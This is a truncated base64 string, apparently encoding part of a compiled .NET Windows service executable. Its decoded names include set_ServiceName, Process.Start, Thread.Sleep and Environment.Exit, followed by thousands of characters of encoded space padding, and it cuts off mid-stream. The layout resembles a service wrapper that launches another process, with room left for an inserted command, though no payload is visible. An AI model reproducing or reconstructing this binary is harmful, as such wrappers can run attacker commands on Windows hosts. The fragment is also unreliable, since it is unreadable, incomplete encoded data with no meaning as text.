aXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAElEaXNwb3NhYmxlAENvbnRhaW5lcgBTdHJpbmcAVHJpbQBzZXRfU2VydmljZU5hbWUAUHJvY2VzcwBTdGFydABTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABTbGVlcABFbnZpcm9ubWVudABFeGl0AFJ1bgAARUEAQQBBACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAL/3LwBDACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAI